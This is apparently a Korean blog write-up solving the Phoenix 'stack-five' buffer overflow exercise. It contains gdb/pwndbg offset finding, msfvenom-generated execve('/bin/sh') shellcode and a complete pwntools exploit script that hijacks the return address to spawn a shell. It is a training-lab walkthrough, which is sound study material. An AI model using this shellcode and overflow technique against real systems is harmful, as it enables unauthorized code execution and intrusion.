코드 분석
// BOF 이용햬 우리가 원하는 코드(쉘 코드)를 실행시켜보자.
#include <stdio.h> // #include는 미리 정의된 함수가 있는 라이브러리를 가져와 사용.
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
char *gets(char *); // 라이브러리에 정의되어있는 gets 함수를 사용하겠다.
void start_level(){ // 사용자 정의 함수 start_level() 정의
char buffer[128]; // 128바이트의 공간을 가지는 변수를 선언.
gets(buffer); //유저가 입력한 입력 값을 buffer에 저장.
}
int main(int argc, char **argv){ //프로그램 실행시 실행되는 함수
printf("%s\n",BANNER); // BANNER를 출력.
start_level(); // start_level 함수를 호출.
}
쉘 코드
프로그램의 코드 조각 (어셈블리어)들이 모여서 만들어진 코드
어셈블리어를 가지고 특정한 행동을 하는 코드를 쉘 코드라고 부른다.
command를 입력할 수 있는 shell을 띄우는 쉘 코드를 만들어서 실행한다.
$python3
Python 3.13.2 (main, Feb 5 2025, 01:23:35) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
from pwn import *
pattern=cyclic(150)
print(pattern)
b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam....'
offset 찾기
$gdb ./stack-five
GNU gdb (Debian 16.2-2) 16.2
pwndbg > run
Starting program: /opt/phoenix/amd64/stack-five
Welcome to phoenix/stack-five, brought to you by
https://exploit.education
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaa
Program received signal SIGSEGV, Segmentation fault.
0x00000000004005a3 in start_level ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off
]───────────────────────────────
RAX 0x7fffffffdc30 ◂—
'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaaza
RBX 0x7fffffffdd28 —▸ 0x7fffffffe0ec ◂— '/opt/phoenix/amd64/stack-five'
RCX 0x8080808080808080
RDX 0x7fffffffdc8f ◂— 'ayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma'
RDI 0x7fffffffdcc7 ◂— 0x10000000000
RSI 0xfefefefefefefeff
R8 0x7fffffffdc30 ◂—
'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaaza
R9 0xa0a0a0a0a0a0a0a ('\n\n\n\n\n\n\n\n')
R10 0x8080808080808080
R11 7
R12 0x7fffffffdd38 —▸ 0x7fffffffe10a ◂— 'CLUTTER_IM_MODULE=fcitx'
R13 0x4005a4 (main) ◂— push rbp
R14 0
R15 0
RBP 0x6261616962616168 ('haabiaab')
RSP 0x7fffffffdcb8 ◂— 'jaabkaablaabma'
RIP 0x4005a3 (start_level+22) ◂— ret
RIP : 이번에 실행할 코드의 주소
stack의 가장 위에 있는 주소를 꺼내게 됨.
pwndbg> nexti
Program received signal SIGSEGV, Segmentation fault.
0x00000000004005a3 in start_level ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off
]───────────────────────────────
RAX 0x7fffffffdc30 ◂—
'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaaza
RBX 0x7fffffffdd28 —▸ 0x7fffffffe0ec ◂— '/opt/phoenix/amd64/stack-five'
RCX 0x8080808080808080
RDX 0x7fffffffdc8f ◂— 'ayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma'
RDI 0x7fffffffdcc7 ◂— 0x10000000000
RSI 0xfefefefefefefeff
R8 0x7fffffffdc30 ◂—
'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaaza
R9 0xa0a0a0a0a0a0a0a ('\n\n\n\n\n\n\n\n')
R10 0x8080808080808080
R11 7
R12 0x7fffffffdd38 —▸ 0x7fffffffe10a ◂— 'CLUTTER_IM_MODULE=fcitx'
R13 0x4005a4 (main) ◂— push rbp
R14 0
R15 0
RBP 0x6261616962616168 ('haabiaab')
RSP 0x7fffffffdcb8 ◂— 'jaabkaablaabma'
RIP 0x4005a3 (start_level+22) ◂— ret
────────────────────────────────────────[ DISASM / x86-64 / set emulate on
]────────────────────────────────────────
► 0x4005a3 <start_level+22> ret <0x6261616b6261616a>
↓
─────────────────────────────────────────────────────[ STACK
]──────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdcb8 ◂— '
jaabkaablaabma'
01:0008│ rdi-7 0x7fffffffdcc0 ◂— 0x616d6261616c /* 'laabma' */
02:0010│ 0x7fffffffdcc8 ◂— 0x100000000
03:0018│ 0x7fffffffdcd0 ◂— 1
04:0020│ 0x7fffffffdcd8 —▸ 0x7ffff7c24d62 (__libc_start_main+54) ◂— mov edi, eax
05:0028│ 0x7fffffffdce0 ◂— 0
06:0030│ 0x7fffffffdce8 —▸ 0x7fffffffdd20 ◂— 1
07:0038│ 0x7fffffffdcf0 ◂— 0
───────────────────────────────────────────────────[ BACKTRACE
]────────────────────────────────────────────────────
► 0 0x4005a3 start_level+22
1 0x6261616b6261616a None
2 0x616d6261616c None
3 0x100000000 None
4 0x1 None
5 0x7ffff7c24d62 __libc_start_main+54
6 0x0 None
─────────────────────────────────────────────────────
offset : 136
$ gdb ./stack-five
pwndbg> run
Starting program: /opt/phoenix/amd64/stack-five
Welcome to phoenix/stack-five, brought to you by
https://exploit.education
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 136개 B 8개
Program received signal SIGSEGV, Segmentation fault.
0x00000000004005a3 in start_level ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off
]───────────────────────────────
RAX 0x7fffffffdc30 ◂—
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
RBX 0x7fffffffdd28 —▸ 0x7fffffffe0ec ◂— '/opt/phoenix/amd64/stack-five'
RCX 0x8080808080808080
RDX 0x7fffffffdc8f ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB'
RDI 0x7fffffffdcc1 ◂— 0x7fffffff00
RSI 0xfefefefefefefeff
R8 0x7fffffffdc30 ◂—
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
R9 0xa0a0a0a0a0a0a0a ('\n\n\n\n\n\n\n\n')
R10 0x8080808080808080
R11 1
R12 0x7fffffffdd38 —▸ 0x7fffffffe10a ◂— 'CLUTTER_IM_MODULE=fcitx'
R13 0x4005a4 (main) ◂— push rbp
R14 0
R15 0
RBP 0x4141414141414141 ('AAAAAAAA')
RSP 0x7fffffffdcb8 ◂— 'BBBBBBBB'
RIP 0x4005a3 (start_level+22) ◂— ret
────────────────────────────────────────[ DISASM / x86-64 / set emulate on
]────────────────────────────────────────
► 0x4005a3 <start_level+22> ret <0x4242424242424242>
↓
─────────────────────────────────────────────────────[ STACK
]──────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdcb8 ◂— 'BBBBBBBB'
01:0008│ rdi-1 0x7fffffffdcc0 —▸ 0x7fffffff0000 ◂— 0
02:0010│ 0x7fffffffdcc8 ◂— 0x100000000
03:0018│ 0x7fffffffdcd0 ◂— 1
04:0020│ 0x7fffffffdcd8 —▸ 0x7ffff7c24d62 (__libc_start_main+54) ◂— mov edi, eax
05:0028│ 0x7fffffffdce0 ◂— 0
06:0030│ 0x7fffffffdce8 —▸ 0x7fffffffdd20 ◂— 1
07:0038│ 0x7fffffffdcf0 ◂— 0
───────────────────────────────────────────────────[ BACKTRACE
]────────────────────────────────────────────────────
► 0 0x4005a3 start_level+22
1 0x4242424242424242 None
2 0x7fffffff0000 None
3 0x100000000 None
4 0x1 None
5 0x7ffff7c24d62 __libc_start_main+54
6 0x0 None
─────────────────────────────────────────────────────────────────────────
shellcode 만들기
https://shell-storm.org/shellcode/index.html
Shellcodes database for study cases
API It is very straightforward to communicate with this API. Just send a simple GET method. The "s" argument contains your keyword. http://shell-storm.org/api/?s= Use "*" for multiple keywords search. /?s= * * The output should be like this: :::: :::: ::::
shell-storm.org
https://shell-storm.org/shellcode/files/shellcode-603.html
Linux/x86-64 - execve(/bin/sh); - 30 bytes
shell-storm.org
system()
execve()
이 두 함수는 shell에서 명령어를 실행하는 함수.
system(”ls -la”) → 이러면 나옴.
system (”/bin/sh”) → 쉘을 얻을 수 있음.
$msfvenom -p linux/x64/exec CMD="/bin/sh" -f python
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 44 bytes
Final size of python file: 231 bytes
buf = b""
buf += b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50"
buf += b"\x54\x5f\x52\x66\x68\x2d\x63\x54\x5e\x52\xe8\x08"
buf += b"\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x56"
buf += b"\x57\x54\x5e\x6a\x3b\x58\x0f\x05"
$ gdb ./stack-five
pwndbg> run
Starting program: /opt/phoenix/amd64/stack-five
Welcome to phoenix/stack-five, brought to you by
https://exploit.education
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaa..
pwndbg> search "aaaabaaacaaada"
Searching for byte: b'aaaabaaacaaada'
stack-five 0x600020 'aaaabaaacaaada'
[anon_7ffff7e91] 0x7ffff7e91528
'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaaya
[stack] 0x7fffffffdc30
'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaaya
익스플로잇
stack-five.py
from pwn import * # pwntools 라이브러리에 정의되어있는 함수들을 모두 사용.
p=process("/opt/phoenix/amd64/stack-five") # 프로세스를 생성하고 접근 권한을 p에 저장.
shellcode = b""
shellcode += b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50"
shellcode += b"\x54\x5f\x52\x66\x68\x2d\x63\x54\x5e\x52\xe8\x08"
shellcode += b"\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x56"
shellcode += b"\x57\x54\x5e\x6a\x3b\x58\x0f\x05"
shellcode_addr=p64(0x7fffffffdc30)
payload= shellcode + b'A' * (136 - len(shellcode)) + shellcode_addr
p.sendline(payload) #프로그램 입력에 payload를 입력하고 엔터까지 입력.
p.interactive() # 우리가 직접 프로그램과 상호작용할 수 있는 셸을 띄우겠다.
안되는 이유?
gdb에서 실행하는 shellcode_addr이랑 python 파일에서 실행하는 shellcode_addr이 다르기 때문에.
해결
stack-five.py
from pwn import * # pwntools 라이브러리에 정의되어있는 함수들을 모두 사용.
p=process("/opt/phoenix/amd64/stack-five") # 프로세스를 생성하고 접근 권한을 p에 저장.
pause();
shellcode = b""
shellcode += b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50"
shellcode += b"\x54\x5f\x52\x66\x68\x2d\x63\x54\x5e\x52\xe8\x08"
shellcode += b"\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x56"
shellcode += b"\x57\x54\x5e\x6a\x3b\x58\x0f\x05"
shellcode_addr=p64(0x7fffffffdc50)
payload= shellcode + b'A' * (136 - len(shellcode)) + shellcode_addr
p.sendline(payload) #프로그램 입력에 payload를 입력하고 엔터까지 입력.
p.interactive() # 우리가 직접 프로그램과 상호작용할 수 있는 셸을 띄우겠다.
=> 드디어 성공!!
=> 이렇게 되면 악성코드를 설치하거나 시스템에 있는 내용들을 탈취해올 수 있다.
이 블로그는 불법 해킹 및 악의적인 활동을 지양하며, 그런 행위는 절대 권장하지 않습니다.
모든 실습은 허가된 환경에서만 진행해야 하며, 법적 책임은 사용자 본인에게 있습니다.
'시스템 해킹 & 보안' 카테고리의 다른 글
64bit 아키텍쳐 - FSB 이용 BOF 공격 - format-one 문제 해결 (0) | 2025.07.18 |
---|---|
64bit 아키텍쳐 - FSB 이용 BOF 공격 - format-zero 문제 해결 (0) | 2025.07.18 |
64bit 아키텍쳐 - BOF (Return Address 조작) - stack-four 문제 해결 (1) | 2025.07.18 |
포인터 & 함수 포인터 - stack-three 문제 해결 (1) | 2025.07.18 |
포인터 & 함수 포인터 - stack-two 문제 해결 (0) | 2025.07.18 |